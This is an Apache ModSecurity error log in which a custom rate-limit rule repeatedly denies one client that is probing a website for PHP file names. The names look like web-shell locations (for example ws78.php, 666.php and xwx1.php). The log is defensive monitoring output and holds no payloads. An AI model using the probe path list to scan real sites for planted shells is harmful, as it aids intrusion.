[Sun Apr 26 15:23:31.507456 2026] [:error] [pid 8385:tid 8424] [client 20.215.250.178:28392] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/casp1.php"] [unique_id "ae29czOy7_J84Wx3-oyyZgAAAEA"]
[Sun Apr 26 15:23:31.943885 2026] [:error] [pid 8385:tid 8427] [client 20.215.250.178:28471] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws78.php"] [unique_id "ae29czOy7_J84Wx3-oyyaAAAAEM"]
[Sun Apr 26 15:23:32.426119 2026] [:error] [pid 16574:tid 16635] [client 20.215.250.178:27879] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/casp1.php"] [unique_id "ae29dH5MsX8wRQr99nYf0QAAA1Q"]
[Sun Apr 26 15:23:32.520991 2026] [:error] [pid 22573:tid 22612] [client 20.215.250.178:27927] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws78.php"] [unique_id "ae29dHB3EmQlD4yKUt-4JAAAAYY"]
[Sun Apr 26 15:23:33.285389 2026] [:error] [pid 22573:tid 22606] [client 20.215.250.178:28918] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/motu.php"] [unique_id "ae29dXB3EmQlD4yKUt-4JQAAAYA"]
[Sun Apr 26 15:23:33.358949 2026] [:error] [pid 16515:tid 16518] [client 20.215.250.178:25849] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/casp1.php"] [unique_id "ae29dVtDrUmgHSvpuLwZoAAAAkA"]
[Sun Apr 26 15:23:33.822222 2026] [:error] [pid 13197:tid 13234] [client 20.215.250.178:27388] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/motu.php"] [unique_id "ae29dd3kktFKdSxTrBu_4AAAAsM"]
[Sun Apr 26 15:23:34.056551 2026] [:error] [pid 13137:tid 13156] [client 20.215.250.178:28367] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/acc.php"] [unique_id "ae29dt0RB4J0o4h5neFG-AAAAg8"]
[Sun Apr 26 15:23:34.354142 2026] [:error] [pid 8383:tid 8419] [client 20.215.250.178:28405] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/motu.php"] [unique_id "ae29dtFa2S3EsATMdWP1ygAAABY"]
[Sun Apr 26 15:23:34.695509 2026] [:error] [pid 13137:tid 13147] [client 20.215.250.178:27910] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/acc.php"] [unique_id "ae29dt0RB4J0o4h5neFG-QAAAgc"]
[Sun Apr 26 15:23:35.142509 2026] [:error] [pid 13197:tid 13231] [client 20.215.250.178:28972] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/motu.php"] [unique_id "ae29d93kktFKdSxTrBu_4QAAAsA"]
[Sun Apr 26 15:23:35.690863 2026] [:error] [pid 13137:tid 13140] [client 20.215.250.178:28869] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/acc.php"] [unique_id "ae29d90RB4J0o4h5neFG-gAAAgA"]
[Sun Apr 26 15:23:35.706538 2026] [:error] [pid 13137:tid 13144] [client 20.215.250.178:29408] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "ae29d90RB4J0o4h5neFG-wAAAgQ"]
[Sun Apr 26 15:23:36.683219 2026] [:error] [pid 22573:tid 22624] [client 20.215.250.178:28439] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "ae29eHB3EmQlD4yKUt-4JwAAAZE"]
[Sun Apr 26 15:23:37.285474 2026] [:error] [pid 16574:tid 16637] [client 20.215.250.178:27450] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/acc.php"] [unique_id "ae29eX5MsX8wRQr99nYf0gAAA1U"]
[Sun Apr 26 15:23:37.341448 2026] [:error] [pid 8390:tid 8468] [client 20.215.250.178:28956] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "ae29eYGPtFK_i9p5yxT9BQAAAJE"]
[Sun Apr 26 15:23:38.045689 2026] [:error] [pid 13197:tid 13246] [client 20.215.250.178:28412] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asasx.php"] [unique_id "ae29et3kktFKdSxTrBu_4wAAAs4"]
[Sun Apr 26 15:23:38.122875 2026] [:error] [pid 8390:tid 8457] [client 20.215.250.178:28359] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "ae29eoGPtFK_i9p5yxT9BwAAAIY"]
[Sun Apr 26 15:23:38.603073 2026] [:error] [pid 8491:tid 8512] [client 20.215.250.178:28939] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asasx.php"] [unique_id "ae29eiq7I7e6CJooQM3jgwAAAM0"]
[Sun Apr 26 15:23:39.117781 2026] [:error] [pid 13197:tid 13251] [client 20.215.250.178:29496] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xa.php"] [unique_id "ae29e93kktFKdSxTrBu_5AAAAtM"]
[Sun Apr 26 15:23:39.278161 2026] [:error] [pid 8491:tid 8506] [client 20.215.250.178:29428] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asasx.php"] [unique_id "ae29eyq7I7e6CJooQM3jhgAAAMc"]
[Sun Apr 26 15:23:40.039174 2026] [:error] [pid 22572:tid 22600] [client 20.215.250.178:28963] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xa.php"] [unique_id "ae29fNXOViWCFU-pZzDuxAAAAVY"]
[Sun Apr 26 15:23:40.109284 2026] [:error] [pid 13197:tid 13241] [client 20.215.250.178:28361] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asasx.php"] [unique_id "ae29fN3kktFKdSxTrBu_5wAAAso"]
[Sun Apr 26 15:23:40.764177 2026] [:error] [pid 8491:tid 8511] [client 20.215.250.178:29476] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xltt.php"] [unique_id "ae29fCq7I7e6CJooQM3jhwAAAMw"]
[Sun Apr 26 15:23:41.314621 2026] [:error] [pid 8390:tid 8461] [client 20.215.250.178:29459] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xa.php"] [unique_id "ae29fYGPtFK_i9p5yxT9CAAAAIo"]
[Sun Apr 26 15:23:41.617360 2026] [:error] [pid 8383:tid 8409] [client 20.215.250.178:25806] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xltt.php"] [unique_id "ae29fdFa2S3EsATMdWP1zwAAAAw"]
[Sun Apr 26 15:23:42.322283 2026] [:error] [pid 13137:tid 13156] [client 20.215.250.178:28937] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xa.php"] [unique_id "ae29ft0RB4J0o4h5neFHBQAAAg8"]
[Sun Apr 26 15:23:42.343542 2026] [:error] [pid 13137:tid 13165] [client 20.215.250.178:29400] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xltt.php"] [unique_id "ae29ft0RB4J0o4h5neFHBgAAAhg"]
[Sun Apr 26 15:23:43.051207 2026] [:error] [pid 8491:tid 8519] [client 20.215.250.178:28947] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xltt.php"] [unique_id "ae29fyq7I7e6CJooQM3jiAAAANQ"]
[Sun Apr 26 15:23:43.183293 2026] [:error] [pid 8491:tid 8499] [client 20.215.250.178:27917] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8573.php"] [unique_id "ae29fyq7I7e6CJooQM3jiQAAAMA"]
[Sun Apr 26 15:23:43.688265 2026] [:error] [pid 8385:tid 8428] [client 20.215.250.178:28450] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/packsin1.php"] [unique_id "ae29fzOy7_J84Wx3-oyybwAAAEQ"]
[Sun Apr 26 15:23:44.311028 2026] [:error] [pid 16515:tid 16526] [client 20.215.250.178:29495] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8573.php"] [unique_id "ae29gFtDrUmgHSvpuLwZpAAAAkg"]
[Sun Apr 26 15:23:44.782331 2026] [:error] [pid 16515:tid 16524] [client 20.215.250.178:29473] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/packsin1.php"] [unique_id "ae29gFtDrUmgHSvpuLwZpwAAAkY"]
[Sun Apr 26 15:23:45.452010 2026] [:error] [pid 16515:tid 16529] [client 20.215.250.178:29494] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8573.php"] [unique_id "ae29gVtDrUmgHSvpuLwZqwAAAks"]
[Sun Apr 26 15:23:45.970090 2026] [:error] [pid 16515:tid 16530] [client 20.215.250.178:28417] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/packsin1.php"] [unique_id "ae29gVtDrUmgHSvpuLwZrAAAAkw"]
[Sun Apr 26 15:23:46.652462 2026] [:error] [pid 16515:tid 16519] [client 20.215.250.178:29478] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8573.php"] [unique_id "ae29gltDrUmgHSvpuLwZsAAAAkE"]
[Sun Apr 26 15:23:47.369105 2026] [:error] [pid 8390:tid 8467] [client 20.215.250.178:28987] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/packsin1.php"] [unique_id "ae29g4GPtFK_i9p5yxT9CQAAAJA"]
[Sun Apr 26 15:23:47.700977 2026] [:error] [pid 8390:tid 8474] [client 20.215.250.178:29448] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sadcut1.php"] [unique_id "ae29g4GPtFK_i9p5yxT9CgAAAJc"]
[Sun Apr 26 15:23:48.580453 2026] [:error] [pid 22573:tid 22613] [client 20.215.250.178:28425] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/press.php"] [unique_id "ae29hHB3EmQlD4yKUt-4NgAAAYc"]
[Sun Apr 26 15:23:49.326111 2026] [:error] [pid 22572:tid 22594] [client 20.215.250.178:29385] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/press.php"] [unique_id "ae29hdXOViWCFU-pZzDuyAAAAVA"]
[Sun Apr 26 15:23:50.056994 2026] [:error] [pid 8390:tid 8458] [client 20.215.250.178:29445] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sadcut1.php"] [unique_id "ae29hoGPtFK_i9p5yxT9DAAAAIc"]
[Sun Apr 26 15:23:51.248803 2026] [:error] [pid 13197:tid 13242] [client 20.215.250.178:29396] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/press.php"] [unique_id "ae29h93kktFKdSxTrBu_6wAAAss"]
[Sun Apr 26 15:23:51.838391 2026] [:error] [pid 16574:tid 16627] [client 20.215.250.178:28899] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sadcut1.php"] [unique_id "ae29h35MsX8wRQr99nYf2gAAA1A"]
[Sun Apr 26 15:23:54.359384 2026] [:error] [pid 22573:tid 22621] [client 20.215.250.178:26395] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sadcut1.php"] [unique_id "ae29inB3EmQlD4yKUt-4PwAAAY4"]
[Sun Apr 26 15:23:54.668553 2026] [:error] [pid 13137:tid 13151] [client 20.215.250.178:28885] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/press.php"] [unique_id "ae29it0RB4J0o4h5neFHCwAAAgo"]
[Sun Apr 26 15:23:56.138895 2026] [:error] [pid 8385:tid 8444] [client 20.215.250.178:29432] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws78.php"] [unique_id "ae29jDOy7_J84Wx3-oyydwAAAFQ"]
[Sun Apr 26 15:23:56.332990 2026] [:error] [pid 16515:tid 16524] [client 20.215.250.178:29462] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "ae29jFtDrUmgHSvpuLwZuAAAAkY"]
[Sun Apr 26 15:23:57.304345 2026] [:error] [pid 8491:tid 8519] [client 20.215.250.178:28957] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "ae29jSq7I7e6CJooQM3jkQAAANQ"]
[Sun Apr 26 15:23:58.053917 2026] [:error] [pid 8390:tid 8469] [client 20.215.250.178:29419] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws78.php"] [unique_id "ae29joGPtFK_i9p5yxT9FAAAAJI"]
[Sun Apr 26 15:23:58.827870 2026] [:error] [pid 8385:tid 8433] [client 20.215.250.178:29426] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "ae29jjOy7_J84Wx3-oyyeAAAAEk"]
[Sun Apr 26 15:23:59.860437 2026] [:error] [pid 8385:tid 8434] [client 20.215.250.178:28888] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws78.php"] [unique_id "ae29jzOy7_J84Wx3-oyyewAAAEo"]
[Sun Apr 26 15:24:00.108956 2026] [:error] [pid 8385:tid 8430] [client 20.215.250.178:29424] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "ae29kDOy7_J84Wx3-oyyfAAAAEY"]
[Sun Apr 26 15:24:01.340497 2026] [:error] [pid 22572:tid 22592] [client 20.215.250.178:27844] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws78.php"] [unique_id "ae29kdXOViWCFU-pZzDuzgAAAU4"]
[Sun Apr 26 15:24:01.813245 2026] [:error] [pid 22573:tid 22624] [client 20.215.250.178:28915] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xwx1.php"] [unique_id "ae29kXB3EmQlD4yKUt-4RgAAAZE"]
[Sun Apr 26 15:24:02.740389 2026] [:error] [pid 8385:tid 8442] [client 20.215.250.178:28904] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xwx1.php"] [unique_id "ae29kjOy7_J84Wx3-oyyfQAAAFI"]
[Sun Apr 26 15:24:03.671627 2026] [:error] [pid 8390:tid 8463] [client 20.215.250.178:29490] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/motu.php"] [unique_id "ae29k4GPtFK_i9p5yxT9HAAAAIw"]
[Sun Apr 26 15:24:04.558805 2026] [:error] [pid 8390:tid 8473] [client 20.215.250.178:28965] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xwx1.php"] [unique_id "ae29lIGPtFK_i9p5yxT9IAAAAJY"]
